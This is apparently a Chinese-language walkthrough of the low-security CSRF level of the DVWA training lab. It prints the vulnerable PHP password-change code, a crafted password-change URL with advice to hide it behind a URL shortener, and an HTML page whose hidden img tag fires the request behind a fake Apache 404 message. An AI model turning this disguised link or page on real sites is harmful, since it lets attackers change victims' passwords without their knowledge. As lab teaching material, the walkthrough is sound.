DVWA靶场通关(CSRF)

CSRF 是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。

CSRF属于业务逻辑漏洞,服务器信任经过身份认证的用户。

漏洞利用前提::用户必须登录、黑客懂得一些发包的请求,服务器端是不会有二次认证的,被害者是不知情的

DVWALOW等级

php 复制代码
 
CSRF Source
vulnerabilities/csrf/source/low.php
<?php
 
if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];
 
    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );
 
        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
 
        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }
 
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
 
?>
 
 

代码解析:

查看源代码,首先获取输入的两个密码然后判断两个值是否相等,如果相等则对$pass_new变量进行调用mql_real_escape_string函数来进行字符串的过滤(防御SQL注入),再调用md5函数对输入的密码进行MD5加密,最后再将新密码更新到数据库中。分析源码只看到只对SQL注入进行了防御,并没有防御CSRF。

分析策略:

服务器收到修改密码的请求后,会检查参数password_new与password_conf是否相同,如果相同,就会修改密码,并没有任何的防CSRF机制,所以我们只需要用户在cookie还有效的时间内在相同的浏览器访问我们给定的url(该操作是服务器对请求的发送者进行了身份验证,检查cookie),就可以实现CSRF攻击,修改用户密码。

测试用DVWA的默认密码登录,发现登录不进去,然后用修改过的密码登录,发现登录成功,说明存在CSRF漏洞。

题目内容:

方法一 构造攻击链接

按照提示框输入密码和确认密码之后得到链接为:http://192.168.40.1/DVWA-master/vulnerabilities/csrf/?password_current=password\&password_new=123456\&password_conf=123456\&Change=Change\&user_token=c0c8394b2f0bb672adc073e1f5c62d5f#

列子:

http://152.136.104.68:9001/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change#

当用户点击这个链接,密码就会自动被修改成admin,因此会有其他的工具用于将长链接缩短为短链接,如网站:百度短网址

方法二 构造攻击页面

新建一个html文件,通过img标签中的src属性来加载CSRF攻击利用的URL,并进行布局隐藏,实现了受害者点击链接则会将密码进行修改,再把该html文件放在攻击者自己准备的网站上。

html 复制代码
<img src="http://152.136.104.68:9001/vulnerabilities/csrf/?password_new=admin2&password_conf=admin2&Change" >
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.<br><br>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p>
<hr>
<address>Apache Server at Port 80 </address>
</body>
</html>

当受害者点击该html之后,页面返回的404,会让受害者误以为自己点击的是一个失效的url,但实际上已经遭受了CSRF攻击,密码修改为admin。

相关推荐
崔庆才丨静觅2 小时前
hCaptcha 验证码图像识别 API 对接教程
前端
passerby60613 小时前
完成前端时间处理的另一块版图
前端·github·web components
掘了3 小时前
「2025 年终总结」在所有失去的人中,我最怀念我自己
前端·后端·年终总结
崔庆才丨静觅3 小时前
实用免费的 Short URL 短链接 API 对接说明
前端
崔庆才丨静觅4 小时前
5分钟快速搭建 AI 平台并用它赚钱!
前端
崔庆才丨静觅4 小时前
比官方便宜一半以上!Midjourney API 申请及使用
前端
Moment4 小时前
富文本编辑器在 AI 时代为什么这么受欢迎
前端·javascript·后端
崔庆才丨静觅4 小时前
刷屏全网的“nano-banana”API接入指南!0.1元/张量产高清创意图,开发者必藏
前端
剪刀石头布啊5 小时前
jwt介绍
前端
爱敲代码的小鱼5 小时前
AJAX(异步交互的技术来实现从服务端中获取数据):
前端·javascript·ajax